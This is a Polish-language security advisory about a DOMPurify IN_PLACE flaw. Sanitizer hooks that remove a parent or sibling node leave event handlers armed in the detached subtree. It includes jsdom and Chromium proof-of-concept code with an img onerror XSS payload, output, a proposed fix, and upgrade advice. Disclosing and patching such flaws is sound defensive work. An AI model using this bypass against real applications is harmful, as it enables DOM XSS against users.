Wysoka

DOMPurify IN_PLACE: hook usuwający węzeł nadrzędny lub siostrzany pozostawia uzbrojone procedury obsługi zdarzeń w odłączonym poddrzewie (niekompletna poprawka dla GHSA-p98j-92pf-mc4p)

  • Ujawniono: 22.10.2026
  • Aktualizacja: 24.10.2026 00:07

Podsumowanie

Poprawka 3.4.16 dla GHSA-p98j-92pf-mc4p obejmuje wyłącznie hook, który usuwa węzeł, dla którego został wywołany. Jeśli hook w trybie IN_PLACE usuwa inny węzeł, na przykład węzeł nadrzędny bieżącego węzła lub węzeł siostrzany, który nie został jeszcze odwiedzony, to poddrzewo nigdy nie zostanie przejrzane ani zneutralizowane. Znajdujące się w nim procedury obsługi zdarzeń pozostają na elementach, a zasób <img onerror>, który już się ładował, uruchamia się po zakończeniu działania sanitize().

W pliku README podano: „Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns.” Zasada ta nie sprawdza się, gdy odłączonym węzłem nie jest węzeł przypisany bezpośrednio do danego hooka.

Testowane wersje

  • 3.4.16 (najnowsza) oraz main pod commitem 18f8f0e
  • także 3.4.15, 3.4.12 oraz 2.5.8

Do poniższej macierzy użyto jsdom, a do weryfikacji faktycznego wywołania zdarzenia użyto Chromium (Playwright).

Szczegóły

src/purify.ts linia 2134 (dist/purify.cjs.js linia 2009 w 3.4.16), _handleHookDetachedNode():

js
if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

Kod sprawdza jedynie, czy currentNode utracił swój węzeł nadrzędny. Kiedy hook usuwa currentNode.parentNode (lub dowolnego przodka), currentNode nadal posiada węzeł nadrzędny, więc nic się nie dzieje. Reszta usuniętego poddrzewa nie jest już osiągalna dla walker'a i nie znajduje się w DOMPurify.removed, przez co przebieg po przejściu drzewa również jej nie uwzględnia. To samo dzieje się, gdy hook usuwa późniejszy węzeł siostrzany. Dotyczy to wszystkich pięciu hooków elementów i atrybutów.

PoC (jsdom)

js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Wynik na 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

W trybie self walker nadal dociera do drugiego obrazu i usuwa onerror. W pozostałych dwóch trybach drugi obraz zostaje odłączony z zachowaną procedurą obsługi zdarzeń. Taki sam wynik występuje w przypadku każdego z hooków: beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes oraz afterSanitizeAttributes.

PoC (przeglądarka)

To samo zachowanie na rzeczywistej stronie serwowanej z 127.0.0.1 i otwartej w Chromium:

html
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>

Wynik na 3.4.16:

version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]

Zwrócone drzewo jest czyste w obu przypadkach, jednak procedura obsługi na odłączonym obrazie wykonuje się na stronie dla parent.

Wpływ

Aplikacja korzystająca z trybu IN_PLACE z hookiem usuwającym element nadrzędny (wrapper) lub sąsiedni (na przykład „usuń cały <figure>, jeśli jego obraz jest niedozwolony”) staje się podatna na DOM XSS z wstrzykniętego przez atakującego kodu po powrocie z sanitize(). Wymaga to użycia takiego hooka, więc podlega pod kategorię „input plus an application choice” w pliku SECURITY.md, narusza jednak gwarancję zapewnianą w README dla węzłów odłączonych przez hooki i powiela schemat z GHSA-55q2-fjhq-7xh7 oraz GHSA-p98j-92pf-mc4p.

Proponowana poprawka

Zamiast sprawdzać tylko currentNode, należy po każdym wywołaniu hooka weryfikować, czy cokolwiek poza bieżącym węzłem zostało odłączone. Dwa proste rozwiązania:

  • przed wywołaniem hooka w trybie IN_PLACE zapamiętać kolejny węzeł, który odwiedzi walker, oraz przodków bieżącego węzła; po wykonaniu hooka zneutralizować te z nich, które nie są już podpięte pod root
  • lub po przejściu drzewa zneutralizować każdy element, który znajdował się w pierwotnym drzewie, ale nie jest już połączony z root (na przykład zbierając elementy przed przejściem drzewa)

Co trzeba zrobić

Zaktualizuj pakiet dompurify do wersji 3.4.17 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm dompurify < 3.4.17 3.4.17

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-693, CWE-79
Platforma
npm
Paczka
dompurify
Ujawniono
22.10.2026
Aktualizacja
24.10.2026 00:07

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-mrv2-3pqr-j5jr - CC BY 4.0

Historia podatności: dompurify

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (33) w archiwum
Wszystkich wpisów
33
Pierwsza → ostatnia
08.2020 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 3
  • Wysoka 4
  • Średnia 19
  • Niska 7

Ujawnienia w latach

  1. 2020: 3
  2. 2021: 0
  3. 2022: 0
  4. 2023: 1
  5. 2024: 3
  6. 2025: 1
  7. 2026: 25
Istotność:
  1. DOMPurify IN_PLACE: hook usuwający węzeł nadrzędny lub siostrzany pozostawia uzbrojone procedury obsługi zdarzeń w odłączonym poddrzewie (niekompletna poprawka dla GHSA-p98j-92pf-mc4p) ten wpis
    Wysoka ghsa-mrv2-3pqr-j5jr < 3.4.17 3.4.17
  2. Wysoka · 8.2 CVE-2026-47423 >= 3.4.4, < 3.4.5 3.4.5
  3. Krytyczna · 9.1 CVE-2024-48910 < 2.4.2 2.4.2
  4. Wysoka · 10.0 CVE-2024-47875 < 2.5.0, >= 3.0.0, < 3.1.3 2.5.0, 3.1.3
  5. Wysoka · 7.0 CVE-2024-45801 < 2.5.4, >= 3.0.0, < 3.1.3 2.5.4, 3.1.3
  6. Krytyczna ghsa-mjjq-c88q-qhr6 < 2.0.7 2.0.7

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.